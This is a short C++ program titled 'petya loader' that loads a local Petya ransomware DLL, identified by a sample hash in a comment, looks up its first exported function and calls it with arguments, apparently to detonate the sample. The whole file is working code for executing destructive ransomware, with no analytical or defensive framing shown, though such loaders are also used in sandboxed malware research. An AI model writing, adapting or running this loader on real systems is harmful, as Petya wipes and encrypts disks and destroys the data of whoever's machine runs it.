petya loader

#include <Windows.h>
#include <iostream>

// Petya sample hash: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745

typedef void(__cdecl *PETYAEXPORT)(LPCWSTR, DWORD, DWORD, DWORD);

int main() {
	HMODULE hmodule = LoadLibraryA("petya.dll");

	if (!hmodule) {
		printf("Failed to load petya DLL.\n");
		return FALSE;
	}

	PETYAEXPORT petya_func = (PETYAEXPORT)GetProcAddress(hmodule, (LPCSTR)1);

	if (!petya_func) {
		printf("Failed to get address of export.\n");
		return FALSE;
	}

	(*petya_func)(L"-h", 0, 0, -1);

	printf("Succesfully called petya export.\n");

	system("pause");

	return TRUE;
}